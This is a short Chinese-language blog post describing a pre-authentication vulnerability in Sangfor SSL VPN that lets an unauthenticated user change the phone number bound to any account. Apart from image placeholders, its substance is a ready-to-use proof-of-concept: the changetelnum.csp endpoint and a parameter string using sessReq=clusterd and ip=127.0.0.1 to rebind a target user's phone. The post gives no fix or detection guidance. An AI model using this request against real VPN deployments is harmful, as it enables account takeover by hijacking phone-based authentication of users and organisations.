深信服 SSL VPN - Pre Auth 修改绑定手机

漏洞起因:

image-20200917160030652

漏洞分析

老版本(M7.6.1)代码放上,看不懂的直接看 POC 吧;新版本的没绕成功还在审,所以不确定是不是这个

image-20200917160439482

image-20200917160456180

POC

https://<path>/por/changetelnum.csp?apiversion=1

newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

演示

image-20200917160603185

Author

ol4three

Posted on

2020-09-17

Updated on

2021-03-03

Licensed under


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